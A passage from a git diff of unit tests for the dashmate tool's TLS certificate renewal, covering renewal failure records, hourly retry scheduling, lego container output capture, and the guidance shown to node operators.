Error('urn:ietf:params:acme:error:connection :: timeout'))).to.not.throw(); + }); + + it('should not throw on anything the renewal might have thrown', () => { + expect(() => fail(undefined)).to.not.throw(); + expect(() => fail('a string')).to.not.throw(); + expect(read().record.getCode()).to.equal(RENEWAL_FAILURE_CODES.UNKNOWN); + }); + + it('should write a record readable by the account that runs doctor', () => { + recordRenewalSuccess({ renewalRecordRepository, configName: CONFIG_NAME, provider: PROVIDER }); + + // eslint-disable-next-line no-bitwise + const mode = fs.statSync(renewalRecordRepository.getPath(CONFIG_NAME)).mode & 0o777; + + expect(mode).to.equal(0o644); + }); + + it('should forget the record when renewal stops being this provider\'s concern', () => { + fail(new Error('urn:ietf:params:acme:error:connection :: timeout')); + + clearRenewalRecord({ renewalRecordRepository, configName: CONFIG_NAME }); + + expect(read().state).to.equal(RENEWAL_RECORD_STATES.ABSENT); + }); + + it('should not throw when asked to forget a record that was never written', () => { + expect(() => clearRenewalRecord({ renewalRecordRepository, configName: CONFIG_NAME })).to.not.throw(); + }); + + it('should never store an error object, whose message masking cannot reach', () => { + // Neither `message` nor `stack` is enumerable, so an error placed in a + // report is invisible to the masking applied to it: the operator's home + // directory would travel out intact and arrive as an empty object. + fail(new Error('urn:ietf:params:acme:error:connection :: timeout')); + + const raw = JSON.parse(fs.readFileSync(renewalRecordRepository.getPath(CONFIG_NAME), 'utf8')); + + Object.values(raw).forEach((value) => { + expect(value === null || typeof value !== 'object').to.equal(true); + }); + }); +}); diff --git a/packages/dashmate/test/unit/helper/schedule-renewal-job.spec.js b/packages/dashmate/test/unit/helper/schedule-renewal-job.spec.js new file mode 100644 index 00000000000..559f19e60f4 --- /dev/null +++ b/packages/dashmate/test/unit/helper/schedule-renewal-job.spec.js @@ -0,0 +1,238 @@ +import { expect } from 'chai'; +import HomeDir from '../../../src/config/HomeDir.js'; +import scheduleRenewalJob from '../../../src/helper/scheduleRenewalJob.js'; +import ServiceIsNotRunningError from '../../../src/docker/errors/ServiceIsNotRunningError.js'; +import RenewalRecordRepository, { + RENEWAL_RECORD_STATES, +} from '../../../src/ssl/renewalRecord/RenewalRecordRepository.js'; +import { RENEWAL_FAILURE_CODES } from '../../../src/ssl/renewal-failure.js'; + +const CONFIG_NAME = 'base'; +const PROVIDER = 'letsencrypt'; + +/** + * The job owns the renewal chain: the certificate, the signal to the gateway, + * the record, and the stop that arms the next attempt. None of it had any + * assertion, so every ordering guarantee here held by reading alone. + */ +describe('scheduleRenewalJob', () => { + let homeDir; + let renewalRecordRepository; + let config; + let configFileRepository; + let dockerCompose; + let rescheduledWith; + let configurationChangedWith; + let retryDelay; + let realSetTimeout; + + const read = () => renewalRecordRepository.read(CONFIG_NAME); + + /** + * Drive one firing of the job and wait for it to settle. + * + * @param {Object} options + * @return {Promise} + */ + async function run({ obtainError = null, execError = null } = {}) { + dockerCompose.execCommand = async () => { + if (execError) { + throw execError; + } + }; + + scheduleRenewalJob({ + // Soon, but not already past - cron refuses a fire time behind it. + renewAt: new Date(Date.now() + 60), + currentConfig: config, + provider: PROVIDER, + providerName: "Let's Encrypt", + expirationDays: 2, + obtainCertificateTask: () => ({ + run: async () => { + if (obtainError) { + throw obtainError; + } + }, + }), + configFileRepository, + writeConfigTemplates: () => {}, + dockerCompose, + homeDir, + renewalRecordRepository, + onConfigurationChanged: async (changed) => { + configurationChangedWith.push(changed); + }, + reschedule: (next) => { + rescheduledWith.push(next); + }, + }); + + // Let the cron tick, the awaits inside it, and the onComplete all drain. + await new Promise((resolve) => { + realSetTimeout(resolve, 250); + }); + } + + beforeEach(function beforeEach() { + homeDir = HomeDir.createTemp(); + renewalRecordRepository = new RenewalRecordRepository(homeDir); + rescheduledWith = []; + configurationChangedWith = []; + retryDelay = null; + realSetTimeout = setTimeout; + + // The hourly retry must not actually wait an hour, but whether it was armed + // at all is the thing under test. + this.sinon.stub(global, 'setTimeout').callsFake((fn, ms) => { + if (ms === 60 * 60 * 1000) { + retryDelay = ms; + + return 0; + } + + return realSetTimeout(fn, ms); + }); + + config = { + getName: () => CONFIG_NAME, + get: (key) => ({ + 'platform.gateway.ssl.enabled': true, + 'platform.gateway.ssl.provider': PROVIDER, + externalIp: '198.51.100.7', + })[key], + isChanged: () => false, + }; + + configFileRepository = { + acquire: () => {}, + release: () => {}, + isExclusive: () => true, + write: () => {}, + read: () => ({ getConfig: () => config }), + readAndMigrate: () => ({ configFile: { getConfig: () => config } }), + }; + + dockerCompose = { execCommand: async () => {} }; + }); + + afterEach(() => { + homeDir.remove(); + }); + + it('should record a renewal as succeeded and reschedule rather than retry', async () => { + await run(); + + const { record } = read(); + + expect(record.isFailed()).to.equal(false); + expect(record.getConsecutiveFailures()).to.equal(0); + expect(record.getLastSuccessAt()).to.not.equal(null); + expect(rescheduledWith).to.have.lengthOf(1); + expect(retryDelay).to.equal(null); + }); + + it('should record a failed renewal with the cause the provider gave', async () => { + await run({ + obtainError: new Error('acme: error: 400 :: urn:ietf:params:acme:error:connection :: timeout'), + }); + + const { record } = read(); + + expect(record.isFailed()).to.equal(true); + expect(record.getCode()).to.equal(RENEWAL_FAILURE_CODES.PORT_80_UNREACHABLE); + expect(record.getConsecutiveFailures()).to.equal(1); + }); + + it('should arm the hourly retry before the record is written', async () => { + // `job.stop()` is the only thing that fires the completion handler that + // arms the retry. A record write ahead of it that throws would leave the + // helper alive with no scheduled attempt and no configuration watcher - + // renewal dead until the container restarts, and nothing said about it. + // + // Making the write impossible is how the ordering is observed: if the write + // ran first and escaped, the retry below would never have been armed. + const { mkdirSync } = await import('fs'); + mkdirSync(`${homeDir.getPath()}/${CONFIG_NAME}/platform/gateway/ssl/renewal.json`, { + recursive: true, + }); + + await run({ obtainError: new Error('renewal failed') }); + + expect(retryDelay).to.equal(60 * 60 * 1000); + expect(read().state).to.not.equal(RENEWAL_RECORD_STATES.PRESENT); + }); + + it('should not count a gateway that is merely stopped as a failed renewal', async () => { + // The certificate renewed. A gateway that is down is not a certificate + // problem, it is already reported as a stopped service, and the documented + // upgrade procedure leaves it down on purpose. + await run({ execError: new ServiceIsNotRunningError(CONFIG_NAME, 'gateway') }); + + const { record } = read(); + + expect(record.isFailed()).to.equal(false); + expect(record.getGatewayReloadFailedAt()).to.equal(null); + expect(record.getConsecutiveFailures()).to.equal(0); + }); + + it('should record a failed signal as a reload failure, never as a failed renewal', async () => { + // Folding the two together would tell an operator whose certificate renewed + // minutes ago that renewal had been failing since their previous one. + await run({ execError: new Error('container exec failed') }); + + const { record } = read(); + + expect(record.isFailed()).to.equal(false); + expect(record.getGatewayReloadFailedAt()).to.not.equal(null); + expect(record.getConsecutiveFailures()).to.equal(0); + expect(record.getLastSuccessAt()).to.not.equal(null); + }); + + it('should forget the record before handing renewal to another provider', async () => { + // The handover is awaited, and the provider taking over writes its own + // first record inside it. Clearing afterwards would delete that record and + // leave a switched node reporting nothing until its next attempt. + let recordDuringHandover; + + // Seeded, so that finding nothing during the handover is a fact about the + // clear rather than a fact about an empty directory. + const { recordRenewalFailure } = await import('../../../src/helper/record-renewal-outcome.js'); + recordRenewalFailure({ + renewalRecordRepository, homeDir, configName: CONFIG_NAME, provider: PROVIDER, error: new Error('stale'), + }); + expect(read().state).to.equal(RENEWAL_RECORD_STATES.PRESENT); + + config.get = (key) => ({ + // What renewCertificate re-reads under the lock: this provider no longer + // owns renewal here. + 'platform.gateway.ssl.enabled': true, + 'platform.gateway.ssl.provider': 'zerossl', + externalIp: '198.51.100.7', + })[key]; + + scheduleRenewalJob({ + renewAt: new Date(Date.now() + 60), + currentConfig: { ...config, getName: () => CONFIG_NAME }, + provider: PROVIDER, + providerName: "Let's Encrypt", + expirationDays: 2, + obtainCertificateTask: () => ({ run: async () => {} }), + configFileRepository, + writeConfigTemplates: () => {}, + dockerCompose, + homeDir, + renewalRecordRepository, + onConfigurationChanged: async () => { + recordDuringHandover = read().state; + }, + reschedule: () => {}, + }); + + await new Promise((resolve) => { + realSetTimeout(resolve, 250); + }); + + expect(recordDuringHandover).to.equal(RENEWAL_RECORD_STATES.ABSENT); + }); +}); diff --git a/packages/dashmate/test/unit/helper/scheduleRenewLetsEncryptCertificateFactory.spec.js b/packages/dashmate/test/unit/helper/scheduleRenewLetsEncryptCertificateFactory.spec.js index bd0511253e7..bacb902b51a 100644 --- a/packages/dashmate/test/unit/helper/scheduleRenewLetsEncryptCertificateFactory.spec.js +++ b/packages/dashmate/test/unit/helper/scheduleRenewLetsEncryptCertificateFactory.spec.js @@ -4,6 +4,7 @@ import LegoCertificate from '../../../src/ssl/letsencrypt/LegoCertificate.js'; import scheduleRenewLetsEncryptCertificateFactory from '../../../src/helper/scheduleRenewLetsEncryptCertificateFactory.js'; import HomeDir from '../../../src/config/HomeDir.js'; import ConfigIsNotPresentError from '../../../src/config/errors/ConfigIsNotPresentError.js'; +import RenewalRecordRepository from '../../../src/ssl/renewalRecord/RenewalRecordRepository.js'; describe('scheduleRenewLetsEncryptCertificateFactory', () => { let config; @@ -49,6 +50,7 @@ describe('scheduleRenewLetsEncryptCertificateFactory', () => { { joinPath: this.sinon.stub().returns('/tmp/lego'), }, + new RenewalRecordRepository(HomeDir.createTemp()), ); }); @@ -73,6 +75,7 @@ describe('scheduleRenewLetsEncryptCertificateFactory', () => { expect(run).to.have.been.calledOnceWith({ expirationDays: LegoCertificate.EXPIRATION_LIMIT_DAYS, noRetry: true, + renewalGeneration: 1, }); expect(configFileRepository.write).to.have.been.calledOnce(); expect(writeConfigTemplates).to.have.been.calledOnceWith(config); @@ -129,6 +132,7 @@ describe('scheduleRenewLetsEncryptCertificateFactory', () => { configFileRepository, writeConfigTemplates, homeDir, + new RenewalRecordRepository(homeDir), ); await scheduleRenewLetsEncryptCertificate(config); diff --git a/packages/dashmate/test/unit/helper/scheduleRenewZeroSslCertificateFactory.spec.js b/packages/dashmate/test/unit/helper/scheduleRenewZeroSslCertificateFactory.spec.js index daf60c9ba9a..c8e9ffbec2f 100644 --- a/packages/dashmate/test/unit/helper/scheduleRenewZeroSslCertificateFactory.spec.js +++ b/packages/dashmate/test/unit/helper/scheduleRenewZeroSslCertificateFactory.spec.js @@ -1,4 +1,6 @@ import scheduleRenewZeroSslCertificateFactory from '../../../src/helper/scheduleRenewZeroSslCertificateFactory.js'; +import HomeDir from '../../../src/config/HomeDir.js'; +import RenewalRecordRepository from '../../../src/ssl/renewalRecord/RenewalRecordRepository.js'; import ConfigIsNotPresentError from '../../../src/config/errors/ConfigIsNotPresentError.js'; import Certificate from '../../../src/ssl/zerossl/Certificate.js'; import { CONFIG_REFRESH_INTERVAL_MS } from '../../../src/helper/watchCertificateConfig.js'; @@ -10,9 +12,12 @@ describe('scheduleRenewZeroSslCertificateFactory', () => { let dockerCompose; let configFileRepository; let writeConfigTemplates; + let homeDir; let scheduleRenewZeroSslCertificate; beforeEach(function beforeEach() { + homeDir = HomeDir.createTemp(); + config = { get: this.sinon.stub(), getName: this.sinon.stub().returns('base'), @@ -51,9 +56,15 @@ describe('scheduleRenewZeroSslCertificateFactory', () => { dockerCompose, configFileRepository, writeConfigTemplates, + homeDir, + new RenewalRecordRepository(homeDir), ); }); + afterEach(() => { + homeDir.remove(); + }); + describe('certificate read failure', () => { // Regression test for the December outage: when the ZeroSSL API is down while // reading the current certificate, the scheduler used to reject. Because it is @@ -303,6 +314,7 @@ describe('scheduleRenewZeroSslCertificateFactory', () => { expect(run).to.have.been.calledOnceWith({ expirationDays: Certificate.EXPIRATION_LIMIT_DAYS, noRetry: true, + renewalGeneration: 1, }); expect(configFileRepository.write).to.have.been.calledOnce(); expect(writeConfigTemplates).to.have.been.calledOnceWith(config); @@ -357,6 +369,7 @@ describe('scheduleRenewZeroSslCertificateFactory', () => { expect(tasks.run).to.have.been.calledOnceWithExactly({ expirationDays: 3, noRetry: true, + renewalGeneration: 1, }); }); @@ -385,6 +398,7 @@ describe('scheduleRenewZeroSslCertificateFactory', () => { expect(run).to.have.been.calledOnceWith({ expirationDays: Certificate.EXPIRATION_LIMIT_DAYS, noRetry: true, + renewalGeneration: 1, }); }); }); diff --git a/packages/dashmate/test/unit/listr/tasks/doctor/collectSamplesTaskFactory.spec.js b/packages/dashmate/test/unit/listr/tasks/doctor/collectSamplesTaskFactory.spec.js index 0bad62c5055..59f19b102f2 100644 --- a/packages/dashmate/test/unit/listr/tasks/doctor/collectSamplesTaskFactory.spec.js +++ b/packages/dashmate/test/unit/listr/tasks/doctor/collectSamplesTaskFactory.spec.js @@ -14,6 +14,7 @@ import Certificate from '../../../../../src/ssl/zerossl/Certificate.js'; import checkGatewayCertificateFactory from '../../../../../src/ssl/checkGatewayCertificateFactory.js'; import validateZeroSslCertificateFactory, { ERRORS as ZEROSSL_ERRORS } from '../../../../../src/ssl/zerossl/validateZeroSslCertificateFactory.js'; import providers from '../../../../../src/status/providers.js'; +import RenewalRecordRepository from '../../../../../src/ssl/renewalRecord/RenewalRecordRepository.js'; const EXTERNAL_IP = '198.51.100.7'; @@ -124,6 +125,7 @@ describe('collectSamplesTaskFactory', () => { validateZeroSslCertificateFactory(homeDir, getCertificate), this.sinon.stub().resolves({}), checkGatewayCertificateFactory(homeDir), + new RenewalRecordRepository(homeDir), ); analyseConfig = analyseConfigFactory(); @@ -228,6 +230,7 @@ describe('collectSamplesTaskFactory', () => { installed: null, expiresInDays: null, }), + new RenewalRecordRepository(homeDir), ); getCertificate.resolves(new Certificate({ diff --git a/packages/dashmate/test/unit/listr/tasks/update/gatewayCertificateTaskFactory.spec.js b/packages/dashmate/test/unit/listr/tasks/update/gatewayCertificateTaskFactory.spec.js index 730e37aa97d..b898441b44b 100644 --- a/packages/dashmate/test/unit/listr/tasks/update/gatewayCertificateTaskFactory.spec.js +++ b/packages/dashmate/test/unit/listr/tasks/update/gatewayCertificateTaskFactory.spec.js @@ -11,6 +11,7 @@ import { } from '../../../../../src/ssl/checkGatewayCertificateFactory.js'; import getEnquirerMock from '../../../../../src/test/mock/getEnquirerMock.js'; import ServiceIsNotRunningError from '../../../../../src/docker/errors/ServiceIsNotRunningError.js'; +import RenewalRecord from '../../../../../src/ssl/renewalRecord/RenewalRecord.js'; describe('gatewayCertificateTaskFactory', () => { let homeDir; @@ -60,9 +61,22 @@ describe('gatewayCertificateTaskFactory', () => { interactive = true, skipCertificateCheck = false, answers = [], + renewalRecord = null, }) { enquirer = getEnquirerMock(this.sinon, ...answers); + // The prompt below defaults to Yes and obtains directly, so what the + // helper last recorded has to reach it. Absent is the ordinary case: a + // node whose renewal has never failed. + const renewalRecordRepository = { + read: () => ({ + state: renewalRecord ? 'PRESENT' : 'ABSENT', + path: '/tmp/renewal.json', + record: renewalRecord, + error: null, + }), + }; + const gatewayCertificateTask = gatewayCertificateTaskFactory( checkGatewayCertificate, obtainLetsEncryptCertificateTask, @@ -71,6 +85,8 @@ describe('gatewayCertificateTaskFactory', () => { configFile, writeConfigTemplates, dockerCompose, + renewalRecordRepository, + homeDir, ); const context = {}; @@ -502,6 +518,40 @@ describe('gatewayCertificateTaskFactory', () => { // configuration would name an authority it has no account with, and the // helper's watcher would reschedule renewal against it within a minute, // forever. + // This prompt defaults to Yes and obtains directly, and it used to run + // without reading the helper's record at all - so the one guarantee the + // other surfaces enforce could be walked straight past here. + [ + ['an issuance is already outstanding', { issuanceSpentAt: new Date().toISOString() }], + ['it is unknown whether a certificate was issued', { + code: 'RESULT_UNKNOWN', + issuanceUncertainAt: new Date().toISOString(), + }], + ].forEach(([reason, overrides]) => { + it(`should not offer to obtain when ${reason}`, async function it() { + // A node dashmate manages the certificate for. With SSL disabled the + // record describes something dashmate no longer renews, and is + // deliberately not applied - the same rule both other surfaces use. + config.set('platform.gateway.ssl.enabled', true); + + await run.call(this, { + checkGatewayCertificate: () => invalid(), + answers: [true], + renewalRecord: RenewalRecord.fromObject({ + provider: 'zerossl', + outcome: 'failed', + code: 'PORT_80_UNREACHABLE', + attemptedAt: new Date().toISOString(), + consecutiveFailures: 1, + ...overrides, + }), + }); + + expect(obtainLetsEncryptCertificateTask).to.not.have.been.called(); + expect(configFileRepository.write).to.not.have.been.called(); + }); + }); + it('should not persist anything when the obtain fails', async function it() { obtainLetsEncryptCertificateTask.callsFake(() => ({ run: async () => { diff --git a/packages/dashmate/test/unit/renderedCommands.spec.js b/packages/dashmate/test/unit/renderedCommands.spec.js index 6c8e1fa255e..03234321af0 100644 --- a/packages/dashmate/test/unit/renderedCommands.spec.js +++ b/packages/dashmate/test/unit/renderedCommands.spec.js @@ -274,6 +274,10 @@ describe('every command dashmate tells an operator to run', () => { {}, this.sinon.stub(), { execCommand: this.sinon.stub().resolves() }, + // Nothing recorded: the node this test describes has never had a + // renewal fail, so the prompt it raises is the ordinary one. + { read: () => ({ state: 'ABSENT', path: '', record: null, error: null }) }, + homeDir, ); const tasks = new Listr( diff --git a/packages/dashmate/test/unit/ssl/letsencrypt/obtainLetsEncryptCertificateTaskFactory.spec.js b/packages/dashmate/test/unit/ssl/letsencrypt/obtainLetsEncryptCertificateTaskFactory.spec.js index ae9c73321e8..1e329e9a0f6 100644 --- a/packages/dashmate/test/unit/ssl/letsencrypt/obtainLetsEncryptCertificateTaskFactory.spec.js +++ b/packages/dashmate/test/unit/ssl/letsencrypt/obtainLetsEncryptCertificateTaskFactory.spec.js @@ -1,11 +1,36 @@ import fs from 'fs'; import path from 'path'; +import { Readable } from 'stream'; import { Listr } from 'listr2'; import HomeDir from '../../../../src/config/HomeDir.js'; import obtainLetsEncryptCertificateTaskFactory from '../../../../src/listr/tasks/ssl/letsencrypt/obtainLetsEncryptCertificateTaskFactory.js'; import getBaseConfigFactory from '../../../../configs/defaults/getBaseConfigFactory.js'; import getEnquirerMock from '../../../../src/test/mock/getEnquirerMock.js'; import { ERRORS } from '../../../../src/ssl/letsencrypt/validateLetsEncryptCertificateFactory.js'; +import LegoDidNotStartError from '../../../../src/ssl/errors/LegoDidNotStartError.js'; +import LegoArtifactsMissingError from '../../../../src/ssl/errors/LegoArtifactsMissingError.js'; + +/** + * A container's output the way the daemon hands it over: a stream attached + * while the container is still running, demultiplexed by the caller. + * + * Reading it after the container exits is a race the daemon usually wins, so + * the double has to be a stream - a resolved buffer would let a regression + * back into a path that is only observable against a real Docker. + * + * @param {string} text + * @return {Object} + */ +function getOutputMock(text) { + return { + logs: () => Promise.resolve(Readable.from([Buffer.from(text)])), + modem: { + demuxStream: (source, stdout) => { + source.on('data', (chunk) => stdout.write(chunk)); + }, + }, + }; +} describe('obtainLetsEncryptCertificateTaskFactory', () => { it('should reject a plaintext ACME directory before lego starts', async function it() { @@ -157,6 +182,7 @@ describe('obtainLetsEncryptCertificateTaskFactory', () => { ); const container = { start: this.sinon.stub().resolves(), + ...getOutputMock(''), wait: this.sinon.stub().callsFake(async () => { fs.writeFileSync(path.join(legoCertificatesDir, `${externalIp}.crt`), 'certificate'); fs.writeFileSync(path.join(legoCertificatesDir, `${externalIp}.key`), 'private-key'); @@ -251,6 +277,7 @@ describe('obtainLetsEncryptCertificateTaskFactory', () => { getContainer: this.sinon.stub().rejects(missingContainerError), createContainer: this.sinon.stub().resolves({ start: this.sinon.stub().resolves(), + ...getOutputMock(''), wait: this.sinon.stub().resolves({ StatusCode: 0 }), }), }; @@ -307,7 +334,7 @@ describe('obtainLetsEncryptCertificateTaskFactory', () => { getContainer: sinon.stub().rejects(missing), createContainer: sinon.stub().resolves({ start: sinon.stub().resolves(), - logs: sinon.stub().resolves(Buffer.from('Timeout during connect (likely firewall problem)')), + ...getOutputMock('Timeout during connect (likely firewall problem)'), wait: sinon.stub().callsFake(async () => { if (statusCode === 0) { const certificates = path.join(legoDir, 'certificates'); @@ -490,9 +517,7 @@ describe('obtainLetsEncryptCertificateTaskFactory', () => { getContainer: sinon.stub().rejects(missing), createContainer: sinon.stub().resolves({ start: sinon.stub().resolves(), - logs: sinon.stub().resolves( - Buffer.from('Timeout during connect (likely firewall problem)'), - ), + ...getOutputMock('Timeout during connect (likely firewall problem)'), wait: sinon.stub().resolves({ StatusCode: 1 }), }), }; @@ -528,6 +553,55 @@ describe('obtainLetsEncryptCertificateTaskFactory', () => { return tasks; } + // The output is the certificate authority's own account of the failure, and + // the daemon deletes an auto-removed container the moment it exits. So the + // stream is attached as soon as the container is running and before the + // wait, which is what keeps the reason out of the race. + // + // Two alternatives were tried against a real Docker and are worse. Attaching + // before the start yields an empty stream - a container that has not run has + // nothing to follow. Retaining the container instead collides with the single + // shared container name: the stale-container cleanup force-removes whatever + // holds it, killing a live lego (exit 137). The residual - a container the + // daemon removes before the attach lands - is documented where it is created. + it('should attach to the output before waiting on the result', async function it() { + let attached = false; + let attachedBeforeWait = false; + + const missing = Object.assign(new Error('container not found'), { statusCode: 404 }); + const docker = { + getContainer: this.sinon.stub().rejects(missing), + createContainer: this.sinon.stub().resolves({ + start: this.sinon.stub().resolves(), + logs: async () => { + // Handed over a tick later, as a daemon call is. The wait must not + // begin until this has actually resolved. + await Promise.resolve(); + attached = true; + + return Readable.from([Buffer.from('lego said why')]); + }, + modem: { + demuxStream: (source, stdout) => { + source.on('data', (chunk) => stdout.write(chunk)); + }, + }, + wait: async () => { + attachedBeforeWait = attached; + + return { StatusCode: 1 }; + }, + }), + }; + + const task = buildFailingTask(this.sinon, docker); + + await expect(inject(task(config), getEnquirerMock(this.sinon, false)).run({ force: true })) + .to.be.rejectedWith('lego said why'); + + expect(attachedBeforeWait, 'the stream was handed over before the wait began').to.be.true(); + }); + // Every attempt spends one of Let's Encrypt's five failed authorizations // per hour, and that budget is shared with the helper's renewal of a // still-valid certificate. An immediate retry cannot succeed anyway: the @@ -564,7 +638,7 @@ describe('obtainLetsEncryptCertificateTaskFactory', () => { getContainer: this.sinon.stub().rejects(missing), createContainer: this.sinon.stub().resolves({ start: this.sinon.stub().rejects(bindRefused), - logs: this.sinon.stub().resolves(Buffer.from('')), + ...getOutputMock(''), wait: this.sinon.stub().resolves({ StatusCode: 0 }), }), }; @@ -588,6 +662,13 @@ describe('obtainLetsEncryptCertificateTaskFactory', () => { expect(error.message).to.not.contain('rate-limit'); expect(error.message).to.not.contain('failed attempts are shared'); expect(error.message).to.not.contain('Fix inbound port 80 first'); + + // The typed error travels as the cause. This message is written for a + // terminal, and how far the attempt got - whether the check ever ran, + // whether an issuance was spent - cannot be recovered by reading it. An + // unattended renewal records that, and without the cause it degrades to + // "could not work out why" and loses the advice against retrying. + expect(error.cause).to.be.an.instanceOf(LegoDidNotStartError); }); // lego exited successfully, so a certificate was issued and counts against @@ -600,7 +681,7 @@ describe('obtainLetsEncryptCertificateTaskFactory', () => { getContainer: this.sinon.stub().rejects(missing), createContainer: this.sinon.stub().resolves({ start: this.sinon.stub().resolves(), - logs: this.sinon.stub().resolves(Buffer.from('')), + ...getOutputMock(''), // Exits cleanly, but writes nothing. wait: this.sinon.stub().resolves({ StatusCode: 0 }), }), @@ -629,6 +710,12 @@ describe('obtainLetsEncryptCertificateTaskFactory', () => { expect(error.message).to.not.contain('failed attempts are shared'); expect(error.message).to.not.match(/did not obtain a certificate after/i); + // Carried as the cause so an unattended renewal can record that an + // issuance is already spent. Without it the record falls back to + // "could not work out why" and the next attempt is invited, spending a + // second certificate against a weekly limit. + expect(error.cause).to.be.an.instanceOf(LegoArtifactsMissingError); + // And the operator still hears the requirement that keeps the node up. expect(context.certificateObtained).to.be.true(); }); @@ -690,7 +777,7 @@ describe('obtainLetsEncryptCertificateTaskFactory', () => { getContainer: this.sinon.stub().rejects(missing), createContainer: this.sinon.stub().resolves({ start: this.sinon.stub().resolves(), - logs: this.sinon.stub().resolves(Buffer.from('')), + ...getOutputMock(''), wait: this.sinon.stub().rejects(new Error('connection reset by peer')), }), }; diff --git a/packages/dashmate/test/unit/ssl/renderCertificateGuidance.spec.js b/packages/dashmate/test/unit/ssl/renderCertificateGuidance.spec.js index 94fad0ed960..622751f0e71 100644 --- a/packages/dashmate/test/unit/ssl/renderCertificateGuidance.spec.js +++ b/packages/dashmate/test/unit/ssl/renderCertificateGuidance.spec.js @@ -2,6 +2,8 @@ import getBaseConfigFactory from '../../../configs/defaults/getBaseConfigFactory import HomeDir from '../../../src/config/HomeDir.js'; import renderCertificateGuidance from '../../../src/ssl/renderCertificateGuidance.js'; import { CERTIFICATE_REASONS, CERTIFICATE_STATUS } from '../../../src/ssl/checkGatewayCertificateFactory.js'; +import deriveRenewalGuidance from '../../../src/ssl/renewalGuidance.js'; +import RenewalRecord from '../../../src/ssl/renewalRecord/RenewalRecord.js'; describe('renderCertificateGuidance', () => { let config; @@ -24,6 +26,40 @@ describe('renderCertificateGuidance', () => { ...overrides, }); + /** + * Build the derived state the way the update command does, from a real + * record, so these assert the shipped derivation rather than a hand-made + * shape that could drift from it. + * + * @param {Object} [options] + * @return {Object} + */ + const guidanceFor = ({ + code = null, issuance = null, unreadable = false, noExternalIp = false, + } = {}) => { + if (unreadable) { + return deriveRenewalGuidance({ isRecordUnreadable: true, hasNoExternalIp: noExternalIp }); + } + + if (code === null) { + return deriveRenewalGuidance({ hasNoExternalIp: noExternalIp }); + } + + return deriveRenewalGuidance({ + isCertificateUsable: false, + hasNoExternalIp: noExternalIp, + record: RenewalRecord.fromObject({ + provider: 'letsencrypt', + outcome: 'failed', + code, + attemptedAt: new Date().toISOString(), + consecutiveFailures: 1, + issuanceSpentAt: issuance === 'spent' ? new Date().toISOString() : null, + issuanceUncertainAt: issuance === 'uncertain' ? new Date().toISOString() : null, + }), + }); + }; + /** * @param {Object} [options] * @return {string} @@ -516,4 +552,153 @@ describe('renderCertificateGuidance', () => { expect(output).to.contain('dashmate update --config base --skip-certificate-check'); expect(output).to.contain('--skip-certificate-check'); }); + + describe('when a renewal failure was recorded', () => { + it('should name the cause instead of the most likely one', () => { + // The guess was honest while nothing recorded what happened. It is not + // honest once something did - and half the nodes measured in this state + // had port 80 demonstrably open. + config.set('platform.gateway.ssl.provider', 'letsencrypt'); + + const output = render({ + verdict: verdict({ provider: 'letsencrypt' }), + renewal: guidanceFor({ code: 'PORT_80_WRONG_RESPONDER' }), + }); + + expect(output).to.contain("something answered on port 80, but not this node's certificate check"); + expect(output).to.not.contain('most common cause'); + // No log stream to interpret, and a container recreation during an + // update may already have discarded it anyway. + expect(output).to.not.contain('dashmate logs'); + }); + + it('should state the ZeroSSL limit as what happened once ZeroSSL has said so', () => { + const output = render({ + verdict: verdict({ provider: 'zerossl' }), + renewal: guidanceFor({ code: 'QUOTA_EXHAUSTED' }), + }); + + expect(output).to.contain('ZeroSSL will not issue another one'); + }); + + it('should withhold the obtain command when the recorded cause forbids it', () => { + // The doctor withholds the same command for the same reason. Printing it + // here made the two surfaces disagree about the one thing the shared + // vocabulary exists to keep consistent. + config.set('platform.gateway.ssl.provider', 'letsencrypt'); + + const output = render({ + verdict: verdict({ provider: 'letsencrypt' }), + renewal: guidanceFor({ code: 'CERTIFICATE_ISSUED_NOT_SAVED' }), + }); + + expect(output).to.contain('could not save it'); + expect(output).to.not.contain('ssl obtain'); + }); + + it('should not invite another certificate while one is spent and unsaved', () => { + config.set('platform.gateway.ssl.provider', 'letsencrypt'); + + const output = render({ + verdict: verdict({ provider: 'letsencrypt' }), + renewal: guidanceFor({ code: 'CERTIFICATE_ISSUED_NOT_SAVED', issuance: 'spent' }), + }); + + expect(output).to.contain('already spent'); + expect(output).to.not.contain('ssl obtain'); + }); + + it('should withhold the obtain command while an issuance is spent, whatever the current cause', () => { + // The doctor withholds it for the same node. Printing it here made the + // two surfaces contradict each other about a certificate that is spent + // whether or not the current failure is repairable. + config.set('platform.gateway.ssl.provider', 'letsencrypt'); + + const output = render({ + verdict: verdict({ provider: 'letsencrypt' }), + renewal: guidanceFor({ code: 'PORT_80_UNREACHABLE', issuance: 'spent' }), + }); + + expect(output).to.not.contain('ssl obtain'); + expect(output).to.contain('already spent'); + }); + + it('should withhold the obtain command when the record could not be read at all', () => { + // It may be the record that says an issuance is already outstanding. + // Restoring the ordinary advice spends a certificate on the strength of + // evidence nobody could inspect. + config.set('platform.gateway.ssl.provider', 'letsencrypt'); + + const output = render({ + verdict: verdict({ provider: 'letsencrypt' }), + renewal: guidanceFor({ unreadable: true }), + }); + + expect(output).to.not.contain('ssl obtain'); + expect(output).to.contain('may already have been issued'); + }); + + it('should withhold the obtain command for a cause that established nothing', () => { + config.set('platform.gateway.ssl.provider', 'letsencrypt'); + + const output = render({ + verdict: verdict({ provider: 'letsencrypt' }), + renewal: guidanceFor({ code: 'UNKNOWN' }), + }); + + expect(output).to.not.contain('ssl obtain'); + }); + + it('should not smuggle a certificate request in beside the address prerequisite', () => { + // The address is required either way, but the request that usually + // follows it is not exempt: an issuance already outstanding is still + // outstanding once the address is set. + config.set('platform.gateway.ssl.provider', 'letsencrypt'); + + const output = render({ + verdict: verdict({ + provider: 'letsencrypt', + reasons: [{ code: CERTIFICATE_REASONS.NO_EXTERNAL_IP, message: 'no address' }], + }), + renewal: guidanceFor({ + code: 'PORT_80_UNREACHABLE', issuance: 'spent', noExternalIp: true, + }), + }); + + expect(output).to.contain('externalIp'); + expect(output).to.not.contain('ssl obtain'); + }); + + it('should not call a plan restriction the three-certificate wall', () => { + const output = render({ + verdict: verdict({ provider: 'zerossl' }), + renewal: guidanceFor({ code: 'PROVIDER_PLAN_REQUIRED' }), + }); + + expect(output).to.not.contain('all three'); + expect(output).to.contain('plan this account is on'); + }); + + it('should keep the existing text when nothing was recorded', () => { + config.set('platform.gateway.ssl.provider', 'letsencrypt'); + + const output = render({ verdict: verdict({ provider: 'letsencrypt' }) }); + + expect(output).to.contain('Inbound port 80 is the most common cause'); + expect(output).to.contain('dashmate logs'); + }); + + it('should never render the excerpt the helper stored', () => { + // Nothing on this path masks the operator's identity the way a collected + // report does, so only the cause 